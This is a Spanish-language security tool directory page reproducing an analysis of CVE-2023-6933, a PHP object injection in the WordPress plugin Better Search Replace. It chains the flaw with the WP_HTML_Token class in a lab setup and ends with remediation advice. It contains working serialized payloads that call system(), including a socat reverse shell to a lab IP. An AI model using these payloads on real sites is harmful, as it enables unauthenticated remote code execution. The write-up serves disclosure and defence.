Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-6933 — Introducción a la vulnerabilidad CVE-2023-6933 | Kitploit
Herramientas/GitHubGitHub/w2xim3/cve-2023-6933
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubw2xim3/cve-2023-6933

CVE-2023-6933

Introducción a la vulnerabilidad CVE-2023-6933

Ver Repositorio
2hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Introducción a la vulnerabilidad CVE-2023-6933


Descripción

El plugin "Better Search Replace" para WordPress presenta una vulnerabilidad crítica conocida como Inyección de Objetos PHP (PHP Object Injection). Esta falla de seguridad está presente en todas las versiones hasta la 1.4.4 inclusive. Surge de la deserialización de entradas no confiables, lo que permite a atacantes no autenticados inyectar un Objeto PHP en el sistema. Cabe destacar que el plugin en sí mismo no contiene una cadena de Inyección de Objetos PHP (POI). Sin embargo, si hay instalado en el sistema objetivo otro plugin o tema vulnerable que sí incluya una cadena POI, esta vulnerabilidad podría permitir a los atacantes eliminar archivos arbitrarios, acceder a datos sensibles o ejecutar código malicioso.


Análisis adicional

En este análisis, también cubriremos la vulnerabilidad en la versión 6.4.0 de WordPress, que fue abordada para corregir un problema de Ejecución Remota de Código (RCE). Además, exploraremos la posibilidad de encadenar estas dos vulnerabilidades para lograr la ejecución remota de código sin autenticación.


Descubriendo la versión del plugin Better Search Replace

Para averiguar la versión estable actual del plugin Better Search Replace, utilice el siguiente comando:

root@kitploit:~
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]

Configuración y pasos iniciales para el análisis de vulnerabilidades


Instalación de Docker

En primer lugar, preparé tres contenedores Docker para el análisis:

  1. MySQL: Para proporcionar soporte de base de datos.
  2. WordPress 6.4.0: Integrado con el plugin "Better Search Replace" versión 1.4.3.
  3. Entorno Linux: Para servir como destinatario de la Ejecución Remota de Código (RCE).

Análisis de los commits de GitHub

Para obtener una comprensión más profunda de la vulnerabilidad, comencé a analizar commits específicos en el repositorio de GitHub del plugin "Better Search Replace". Estos commits potencialmente contienen información crucial sobre la naturaleza y las correcciones de la vulnerabilidad.

  • Commit 1: Delicious Brains - Commit c8d1694

img_0.png

  • Explicación de los parámetros de la función

En esta función, podemos observar los siguientes parámetros:

  • from: Este es el texto que se va a reemplazar.
  • to: Este representa el texto de reemplazo.
  • data: Estos son los datos que necesitan ser reemplazados.

Es importante señalar aquí que los datos se pasan directamente a la función $this->unserialize($data).

img_1.png

Por lo tanto, aquí podemos ver que la cadena será deserializada.

Análisis visual del plugin

Para determinar dónde es factible inyectar un objeto serializado en data, exploraremos la interfaz visual del plugin.

img_2.png

Por lo tanto, podemos colocar un objeto serializado en una de estas tablas, pero necesitamos un objeto serializado vulnerable para poder lograr la Ejecución Remota de Código (RCE).


Explotando el objeto PHP en WordPress 6.4.0

En la versión 6.4.0 de WordPress, se introdujo un objeto PHP, WP_HTML_Token. A continuación se muestra un desglose de su estructura y su potencial de explotación:

Clase PHP: WP_HTML_Token

main.php

root@kitploit:~

<?php
class WP_HTML_Token {
    public $bookmark_name = null;
    public $node_name = null;
    public $has_self_closing_flag = false;
    public $on_destroy = null;

    /**
     * Constructor - creates a reference to a token in some external HTML string.
     *
     * @since 6.4.0
     *
     * @param string   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found.
     * @param string   $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
     * @param bool     $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
     * @param callable $on_destroy            Function to call when destroying token, useful for releasing the bookmark.
     */
     
    public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
        $this->bookmark_name         = $bookmark_name;
        $this->node_name             = $node_name;
        $this->has_self_closing_flag = $has_self_closing_flag;
        $this->on_destroy            = $on_destroy;
    }
    public function __destruct() {
        if ( is_callable( $this->on_destroy ) ) {
           call_user_func( $this->on_destroy, $this->bookmark_name );
        }
    }
}

Estrategia de explotación

La función call_user_func dentro del método __destruct es clave para la explotación. Requiere:

$this->on_destroy: Una función invocable (callable).

$this->bookmark_name: Un argumento para la función invocable.

Código de explotación

Para explotar esto, intenté añadir las siguientes líneas al final de main.php (nota: comente la línea de call_user_func antes de la serialización):

root@kitploit:~
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
root@kitploit:~
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Probando la teoría de explotación

Ahora, es factible probar la teoría añadiendo un comentario no autenticado en el sitio web.

img_3.png

Activando la función de deserialización

Es hora de utilizar el plugin para activar la función de deserialización.

img_4.png

RCE

El archivo se creó como se esperaba, por lo que el RCE durante la deserialización y durante la destrucción del objeto funciona correctamente.

img_5.png

Observaciones sobre el proceso de explotación


Aspectos peligrosos

  1. Persistencia de los comentarios eliminados: Incluso si un comentario se elimina, permanece en la base de datos etiquetado como 'no mostrado al usuario'. Sin embargo, el plugin no distingue entre comentarios visibles e invisibles y procede a deserializar el objeto de todos modos.

  2. Deserialización durante una ejecución de prueba (dry run): El proceso de deserialización ocurre incluso durante una ejecución de prueba (dry run), lo que representa un descuido significativo en términos de seguridad.


Clasificación incorrecta del CVSS por parte de Wordfence

  • Evaluación inicial: La categorización realizada por Wordfence del Sistema Común de Puntuación de Vulnerabilidades (CVSS) parece ser errónea. En mi opinión, debería puntuarse como 8.8.

  • Evaluación revisada: La puntuación CVSS actual es 9.8. Sin embargo, esta calificación pasa por alto el hecho de que "se requiere interacción del usuario en la tabla correcta" para que ocurra la deserialización del código. Para confirmar esto, contacté al investigador Sam Pizzey, quien corroboró mi observación: la ejecución de la vulnerabilidad requiere que alguien interactúe con el plugin.

Explotación de reverse shell

Para aquellos interesados en técnicas de reverse shell, he adaptado mi payload para agilizar este proceso. Esto podría aplicarse a sitios web donde el registro está abierto a todos:


Payload modificado

root@kitploit:~
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Insertando el objeto PHP en el perfil


A continuación, edité mi perfil con el objeto PHP.

img_6.png


Abriendo un listener

Luego abrí un listener para esperar la conexión entrante.

img_7.png


Activando el plugin

img_8.png


Recibiendo la reverse shell

Finalmente, recibí con éxito la conexión de reverse shell.

img_9.png


Conclusión

Este documento proporciona una visión detallada de la vulnerabilidad CVE-2023-6933, incluyendo su impacto, detalles técnicos y estrategias de mitigación. Comprender y abordar esta vulnerabilidad es crucial para mantener la seguridad e integridad de las instalaciones de WordPress que utilizan el plugin 'Better Search Replace'.

Sección de remediación

Actualizar better-search-replace

Para abordar la vulnerabilidad, actualice a una versión superior a Better Search Replace 1.4.4 y realice sus actualizaciones de WordPress.

Información del autor


Autor: Maxime Paillé

GitHub: w2xim3

LinkedIn: Perfil de LinkedIn

Descargar herramienta